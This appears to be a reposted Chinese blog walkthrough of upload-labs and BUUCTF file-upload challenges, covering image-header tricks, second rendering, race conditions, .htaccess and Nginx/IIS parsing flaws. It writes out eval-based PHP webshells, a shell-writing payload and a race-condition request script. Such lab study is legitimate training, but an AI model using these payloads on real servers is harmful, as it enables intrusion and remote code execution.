web安全文件上传解析漏洞&条件竞争&2次渲染
Posted Nu1LL+
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了web安全文件上传解析漏洞&条件竞争&2次渲染相关的知识,希望对你有一定的参考价值。
一、检测内容-图片后门&二次渲染
Pass-14 图片后门
这里查看源码只允许jpg、png、gif类型文件上传,通过读取上传文件内容开头的两个字节,进行判断。 图片马无法字节解析,需要配合其他漏洞,如文件包含漏洞。
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
绕过
一句话木马开头添加GIF头,如:
GIF89a
<?php @eval($_POST[pass]);?>
或者生成图片马:
copy 1.jpg/b + 1.php/a 2.jpg
上传完事后文件包含康康
文件上传和解析成功
Pass17 二次渲染
二次渲染:将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。
这里先上传正常GIF图片,然后与原始的GIF图片进行对比,发现上传后的图片原始数据经过渲染后大小变小
用010 Editor十六进制编辑工具同时打开原始的GIF和渲染后的GIF,把渲染后的GIF的数据放在原始的GIF处并插入一句php代码,再进行上传
可以看到成功解析phinfo代码
二、代码逻辑-单次过滤&条件竞争
Pass11 单次过滤
这里查看源代码,定义了很多黑名单,发现在只要黑名单里面的文件后缀就会单次过滤为空,所以可以通过1.pphphp双写进行绕过
绕过成功
Pass18 条件竞争
条件竞争:在Web安全中,大致就是检测文件后缀,不符合条件,就删除。这种方式。所以我们使用多线程并发去访问该文件。总会碰到在删除文件这个时间段之前访问到PHP文件。一旦成功访问,就说明写了一个Shell。 攻击流程逻辑大概是这样。上传shell-不断访问shell.php shell生成马.php–删除shellp.php
查看源码,它这里逻辑是先移动保存文件后过滤,所以这里就存在了条件竞争问题,在它没有删除之前先访问到,在文件上传的时候不断访问文件进行一个写入的操作
再看这段php,大致意思就是访问到这个代码,就会写入shell.php一句话木马
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["test"])?>');?>
完事之后进行上传抓包
接着使用python脚本去不停访问cmd.php,一直到成功为止。
import requests
url = "http://192.168.111.128/upload-labs-master/upload/cmd.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
这里成功的访问到了cmd.php,并生成了x.php一句话木马
三、解析安全-格式变异&中间件解析
Pass03 php5绕过
可以看到上传成功,再利用解析漏洞即可
Pass04 .htaccess
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置,通过.htaccess文件可以实现网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能,一般.htaccess可以用来留后门和针对黑名单绕过
//.htaccess内容
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
这样就能把shell.jpg解析成php
Nginx 文件名逻辑漏洞(CVE-2013-4547)
Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。
官网地址:https://vulhub.org/
然后来到那个目录输入下面两个命令即可
docker-compose build //重构
docker-compose up -d //开启
docker-compose down //关闭
由于内个靶场下载的实在太慢,我直接转向了buuctf,参考:https://blog.csdn.net/qq_36241198/article/details/115242982
Nginx 解析漏洞
nginx解析漏洞因为用户配置不当造成的漏洞。
1.jpg/.php、1.jpg/.php,1.jpg会被当成php格式解析,nginx和iis7.x解析漏洞类似,都是加上/.php后文件以php格式解析。配置文件vim /etc/php5/fpm/php.ini、vim /etc/php5/fpm/pool.d/www.conf,关键配置项: cgi.fix_pathinfo=1,security.limit_extensions=允许解析其他格式为php,则存在解析漏洞。
参考:https://blog.csdn.net/qq_36241198/article/details/115104244
IIS 解析漏洞
IIS是Internet Information Services的缩写,意为互联网信息服务,是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。 IIS目前只适用于 目前只适用于Windows系统,不适用于其他操作系统。
IIS 6.x
基于文件名:
该版本 默认会将 *.asp;.jpg 此种格式的文件名,当成Asp解析,原理是 服务器默认不解析; 号及其后面的内容,相当于截断。
基于文件夹名:
该版本 默认会将 *.asp/目录下的所有文件当成Asp解析。
IIS 7.x
IIS7.x版本 在Fast-CGI运行模式下,在任意文件,例:test.jpg后面加上/.php,会将test.jpg 解析为php文
IISPUT任意文件写入
IIS Server 在 Web 服务扩展中开启了 WebDAV之后,支持多种请求,配合写入权限,可造成任意文件写入
四、buuctf文件上传练习
[ACTF2020 新生赛]Upload
1.MIME绕过
2.黑名单phtml绕过
[GXYCTF2019]BabyUpload
1.MIME绕过先上传 .htaccess
<FilesMatch "11.png">
SetHandler application/x-httpd-php
</FilesMatch>
2.再上传GIF一句话木马
GIF89a?
<script language="php">eval($_POST['a']);</script>
.htaccess就是将图片解析为php类型文件
[极客大挑战 2019]Upload
1.MIME绕过,phtml后缀绕过
2.再上传GIF一句话木马
GIF89a?
<script language="php">eval($_POST['a']);</script>
以上是关于web安全文件上传解析漏洞&条件竞争&2次渲染的主要内容,如果未能解决你的问题,请参考以下文章